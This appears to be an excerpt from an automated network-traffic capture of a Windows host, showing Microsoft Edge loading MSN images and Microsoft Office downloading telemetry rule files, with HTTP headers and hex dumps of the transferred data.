2024-11-21 23:12:02 UTC	7678	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49911	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:01 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:12:01 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP Last-Modified: Thu, 14 Nov 2024 23:11:22 GMT X-Source-Length: 59155 X-Datacenter: eastus X-ActivityId: 60b54572-0413-4ae3-ab45-b24ba42a247c Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 59155 Cache-Control: public, max-age=216030 Expires: Sun, 24 Nov 2024 11:12:31 GMT Date: Thu, 21 Nov 2024 23:12:01 GMT Connection: close
2024-11-21 23:12:01 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-11-21 23:12:02 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-11-21 23:12:02 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49909	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:01 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:12:02 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 28 Oct 2024 09:34:19 GMT X-Datacenter: westus X-ActivityId: d299da65-4796-4530-b965-ab450ac4c590 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIAw X-Source-Length: 100376 Content-Length: 100376 Cache-Control: public, max-age=253367 Expires: Sun, 24 Nov 2024 21:34:48 GMT Date: Thu, 21 Nov 2024 23:12:01 GMT Connection: close
2024-11-21 23:12:02 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 65 ae df 75 24 3b 65 96 c7 0b dd 49 0e 8e a8 74 75 a6 4f 9b 2b 95 1a 53 35 28 0a 3a 55 20 95 d2 98 ca 2a 39 4e 94 a2 a4 0b 20 bf a2 cf 78 c6 e0 db e3 92 d5 74 91 d1 43 78 17 3c ba 2a 4c e0 9a d4 c4 70 0b 39 ed be 5d 47 2d c2 dd 75 39 c4 c5 a6 08 c7 90 50 1e c1 8d ff 00 04 78 b3 81 a6 b9 6d f5 c8 c8 70 10 66 e6 2d 39 73 eb 16 85 10 01 3e 69 02 f8 09 be 43 11 9a d4 2d b7 6e 4a 39 69 3b ed cb b3 aa 3a 61 22 cc 80 d1 79 db 39 bd f2 85 5a 6e b5 61 ce 1a 74 e0 09 ca 63 33 27 a5 94 3d 2e b9 1e 31 cf 24 6b 3a a3 bb db 64 68 da 07 55 41 30 89 c2 d7 ec 54 31 45 4c ec 8c 8b b4 7e e9 db 28 84 a8 47 7f 7a e7 73 81 03 2f 89 e6 aa ce 84 f9 0a 6b 75 10 00 24 9c 00 19 a3 68 25 c0 5e e7 2b f6 73 54 d7 39 8e 05 a4 b4 83 63 84 74 57 df 99 fc d2 29 7b e0 33 55 a0 5c 02 48 b5 Data Ascii: eu$;eItuO+S5(:U 9N xtCx<Lp9]G-u9Pxmpf-9s>iC-nJ9i;:a"y9Znatc3'=.1$k:dhUA0T1EL~(Gzs/ku$h%^+sT9ctW){3U\H
2024-11-21 23:12:02 UTC	2977	IN	Data Raw: f8 fc 11 44 2b 4a cc 26 13 8f b4 09 0d 38 58 0b 61 84 08 f1 85 71 61 1f 68 45 61 88 4c c2 44 09 b4 ae b4 44 5e 71 f7 42 6e 9c d1 69 f1 4a c4 24 01 07 c2 2d 3d f3 65 50 a4 45 95 c2 76 32 3c 2e 8c 53 c8 54 2c 70 07 b5 3b 28 44 5b bd 11 16 8b 62 7a fd e1 36 11 b7 31 02 f9 9c ba 27 66 b2 32 e8 52 34 ab 10 2f 13 b0 cb c6 e0 ad 66 23 42 3d 30 01 b5 e4 44 df b3 2e 48 e1 54 24 31 71 8a a8 4d 84 71 3f 58 ad 63 11 08 a1 48 d2 8a 14 b6 43 62 21 2c 85 2a 15 69 4a c8 21 69 5e 1f e6 b5 8d 5a a3 87 c1 b4 e0 bb 1f 33 88 c3 a3 47 7a f4 fc 77 cc 19 c2 79 19 0f ab b7 ed 67 37 73 d8 76 af 01 ad d5 5e e7 1f 33 9c 49 71 cc 92 81 39 da a4 71 f7 66 bf 4a 7d 47 09 63 60 36 52 c9 7f ee 70 03 af d9 3f cf 87 bd 41 73 75 3b cc 40 e9 75 ca b9 b5 b1 59 c4 49 f2 0e bb fd a5 26 a5 58 b3 Data Ascii: D+J&8XaqahEaLDD^qBniJ$-=ePEv2<.ST,p;(D[bz61'f2R4/f#B=0D.HT$1qMq?XcHCb!,*iJ!i^Z3Gzwyg7sv^3Iq9qfJ}Gc`6Rp?Asu;@uYI&X
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 66 b3 5c a4 ea 59 21 c1 3c 54 6e eb 91 83 a2 54 a0 48 35 00 55 ea 35 5d 8c 93 0a 2b 9a a5 35 ed 2a 9c 5a 8b 19 ae 23 4c c7 7b 52 08 53 5e e6 ee a2 97 37 75 d8 a4 74 a6 22 51 07 21 24 6e a8 10 a6 4d 09 a2 54 94 2e 94 40 a2 24 2e 5d e0 68 82 5a 50 68 52 65 10 21 36 c5 44 22 c4 b3 4e 72 5a 32 81 0e c9 a3 3f 42 63 69 9d 94 f0 a4 84 29 48 54 67 b6 91 52 45 27 29 c1 3c 15 c5 29 0a 8c e1 44 a6 7a 05 69 82 99 28 0d b3 51 9a 28 94 5e 99 0b 45 72 15 8c cd f4 c9 42 69 2d 34 97 15 69 8d 23 3f d3 41 e9 85 28 94 3a a4 00 70 0b a1 3e 65 91 7d 30 90 5a 14 c2 6c a3 23 26 58 82 d0 ac 35 a9 da 51 86 aa 72 cb 51 14 00 5c 48 4e 80 10 92 dd 90 31 67 c4 46 5b de 02 c8 7d 45 be fd 27 25 8d 52 36 5d 9d b6 b8 0c c7 75 45 18 d4 2a 79 85 1c b6 57 a2 98 88 be a1 5d ab aa 7e 94 5a 15 Data Ascii: f\Y!<TnTH5U5]+5Z#L{RS^7ut"Q!$nMT.@$.]hZPhRe!6D"NrZ2?Bci)HTgRE')<)Dzi(Q(^ErBi-4i#?A(:p>e}0Zl#&X5QrQ\HN1gF[}E'%R6]uEyW]~Z
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: ba ac de aa ff 00 fa 25 e7 fd 1e fd df f9 05 1c a8 d5 3d 60 7d d4 9a 7f 3c e0 9e d9 7e ba 6e fd 25 a4 f8 c8 b2 f9 a7 ab 4b 67 76 7e 68 bd 4a 5f d5 d8 b5 7f c7 c5 10 e2 8f a6 1f 9d 7c bc 7e f7 7f fc b7 2a fe f1 f2 ff 00 fd d2 3f d0 ff 00 b2 f9 9e ba 5b 9e c2 87 55 2d ff 00 f4 95 b0 ff 00 c6 5e a8 8c 28 fa 68 f9 bf 02 7f ef 47 56 bf ec 99 fd d3 80 ff 00 df 6f fb 5f ff 00 c2 be 5f 14 9d 9f fe 93 f6 40 45 2d ff 00 f4 bb ec 96 0b dc fc 0d 81 1f 5a 1c 77 06 6e 38 8a 5f ee fb a3 3c 5f 0b 13 eb d2 23 fe 43 f1 5f 1f d3 44 fe ee e7 7d 90 fa 74 7f 59 ff 00 d5 f6 5b cb eb e8 2c 28 fb 0d 2e 2b 86 ad 3a 2a 30 c6 39 1e f8 54 78 ae 15 b8 d5 67 6f d9 7c 77 4d 3c aa f7 3b ec af d3 19 71 14 fc 75 0f fe 95 4b b5 cf e6 6a 8f 33 eb e3 89 e1 9d 85 46 76 a6 1a 9c 38 c6 a3 3f dc Data Ascii: %=`}<~n%Kgv~hJ_\|~?[U-^(hGVo__@E-Zwn8_<_#C_D}tY[,(.+:09Txgo\|wM<;quKj3Fv8?
2024-11-21 23:12:02 UTC	7952	IN	Data Raw: 3e 49 c0 86 8c f2 54 28 b8 c4 b8 5b 0b e0 9a da 4d 81 7f 37 72 0b 71 26 83 a5 c4 16 1d 3e d4 1e d5 b1 ea 6a 20 dc 78 c4 78 c2 c5 6d 13 91 08 34 54 6c c3 a6 6d 8a e7 94 23 27 93 49 84 4e 8f 45 57 d2 70 01 c6 fc af de 97 a2 30 2d 2d e6 60 ac 2a 1e a3 5d 72 34 e7 9a d3 d6 c0 75 5e 3f 48 3e f5 ce fb 6e 39 26 d8 4c 49 ee 29 e1 d9 10 0e fb a5 16 bd e2 60 d8 5d 4d 6d 4a 04 c6 13 97 d5 97 55 a8 1a 20 b8 c1 04 2c 9b b4 ab d5 12 26 9b aa d2 7b 0b 09 24 49 8f bf 25 ea 1f c6 1a ba 7d 4e 1d da 80 89 1e 66 91 bc 8e f9 50 78 6a dc 2e 83 4f cd 48 c0 25 ce cc ef 2d db 6c 96 9d 2a 25 ae 69 d5 e4 75 8b c7 98 72 98 ef 51 3a d5 a5 6a eb 2c de d4 74 f6 f1 2c af e1 6f af 81 90 fa 94 88 98 8e 59 f6 ac ff 00 6f d9 2e e8 5a b6 78 9a 34 69 bd da 0e 1d 2f 9d a5 2a 99 d5 6d 50 3b 17 Data Ascii: >IT([M7rq&>j xxm4Tlm#'INEWp0--`]r4u^?H>n9&LI)`]MmJU ,&{$I%}NfPxj.OH%-l%iurQ:j,t,oYo.Zx4i/*mP;
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: ae e5 7c 83 4f 36 34 30 69 99 ba d9 34 e1 a0 61 0d 1d 0c 5c 95 98 e7 b7 d3 0d 02 4c df f2 53 c5 49 0e ce 6d 3f a4 1f ba e5 9e 27 9f 30 b1 a5 91 3f 87 04 32 ee f6 8c f8 2a 73 88 a7 a8 e2 f7 24 53 71 f4 80 1b 1c 79 95 4f 71 24 36 d6 16 5c f8 6e 4f 4d 7c 11 d5 74 b6 1a dc 29 bf 45 ee ff 00 ed 05 e0 78 6b 15 ee bf ed 05 c7 dd d4 e9 ed bf 84 86 4d d6 45 73 65 3d c5 67 56 c1 4a 42 9e 86 0d 42 b4 f8 47 41 0b 1e a1 bd 94 ca 0e f3 2e c9 46 e2 73 41 d4 8f ae 70 4f 5e b4 dd ab e7 7c 0d 4c 17 bf 61 96 af 12 aa 4c f6 5e 69 33 ce f1 2d c5 78 3e 21 b0 57 d0 f8 a0 bc 37 12 2e ba 3b 60 fb 9a 1e 7e 74 a9 ec 70 31 0b 31 ca 4b 0c 05 d7 2d 0e 14 f3 36 03 93 a6 c5 67 35 f7 52 9a f9 b2 1d 64 17 15 99 15 9b 24 af 2f 55 97 9d 51 7e dd d7 b7 7e 33 cd 79 ee 3e a8 30 d0 c6 b5 a3 00 Data Ascii: \|O640i4a\LSIm?'0?2*s$SqyOq$6\nOM\|t)ExkMEse=gVJBBGA.FsApO^\|LaL^i3-x>!W7.;`~tp11K-6g5Rd$/UQ~~3y>0
2024-11-21 23:12:02 UTC	5976	IN	Data Raw: 96 07 b1 09 7d 5c 09 31 b2 e8 4a 57 93 40 ed 11 b5 37 eb 04 c6 d6 d3 92 8c 5b 89 46 ca 65 c8 f4 b7 8a c9 27 8a 71 10 a0 ea c7 9a d5 6f 0a 51 ff 00 18 24 b0 ad 08 7d c4 62 26 06 92 b7 7f 8c 39 a9 8c a2 d6 e4 16 c4 81 be e7 03 21 9c 39 d9 6b 33 86 27 30 de df b8 53 24 37 10 7c 02 92 1a 5d 12 01 07 af c5 4e 67 3b 93 64 aa 5c 3b 00 c2 fc ee a4 8e 1b 70 23 94 fd d4 56 b0 53 3e 57 78 6a f7 15 38 39 ff 00 d5 dc 50 c9 a2 75 3a 2c 61 fc 53 6a 54 00 40 06 16 77 a8 70 3d e3 f3 51 9f 51 f9 69 77 20 52 c3 9e f3 25 ed 13 fd 49 c3 4b b9 14 6d 2c 9b b0 82 b1 f5 82 7c ec 2c 3b ad 2a 63 9c a4 67 9f bf 6c da 63 69 9f 64 90 7a d9 4b 92 30 2b 24 3e 02 66 af 04 3a 11 ad eb 98 b9 ed 50 cf 9b de a2 92 14 52 f1 bd d3 a2 ba 93 0c 8c 14 77 1a 87 00 0f 22 96 1c 7f a8 f2 4c 68 d5 99 Data Ascii: }\1JW@7[Fe'qoQ$}b&9!9k3'0S$7\|]Ng;d\;p#VS>Wxj89Pu:,aSjT@wp=QQiw R%IKm,\|,;*cglcidzK0+$>f:PRw"Lh
2024-11-21 23:12:02 UTC	2072	IN	Data Raw: a3 0e a3 9f 55 b1 4e a8 a4 e6 b5 f5 31 dd c0 8b 7b bd eb e7 c2 bd 66 b7 40 73 e0 e5 7e e5 3a 87 0a 20 be b1 01 a0 4e 9d 50 71 c7 38 54 e2 bf 76 5d 0e 97 07 59 c9 70 4a 31 3d ed 7e 21 b4 1b 77 89 db 39 e6 17 93 75 4f 55 86 4b e0 93 e5 2f 74 7e 0a 3d 51 44 38 45 4f 50 34 64 08 b7 8c f6 a8 de 67 93 a7 02 6d 7c 17 2b e4 da e7 a0 4e dc 14 17 3e 2c 3f 4d ad 6b 85 c0 38 80 6c 54 23 4d 9f b6 a7 81 5a a1 81 a0 4b 8c f7 24 55 a0 00 91 12 9c 67 9f ea 67 55 11 18 c3 79 3a 84 6e 8d ec 04 89 69 8e 58 25 b9 b5 18 01 8b 14 fa 75 de d1 97 d6 c8 8f 16 aa 98 9e 41 0d 42 23 50 53 03 c3 1b 79 95 96 fa 8e 24 99 72 82 5d 6c 4a 5e 5e 2d 44 8d 67 55 68 b0 1c d2 3f 94 7a 2c ad 4b 80 d4 51 fc b8 94 68 3e b1 18 20 6d 46 3a ce 11 cc 29 43 85 1a 41 73 8d d5 7a 4c d4 34 e0 31 51 70 af Data Ascii: UN1{f@s~: NPq8Tv]YpJ1=~!w9uOUK/t~=QD8EOP4dgm\|+N>,?Mk8lT#MZK$UggUy:niX%uAB#PSy$r]lJ^^-DgUh?z,KQh> mF:)CAszL41Qp

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:01 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:01 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:01 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231201Z-15b8b599d88tmlzshC1TEB4xpn00000000hg00000000209v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:12:01 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:02 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:02 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231202Z-174c587ffdfcj798hC1TEB9bq400000000t000000000bra1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
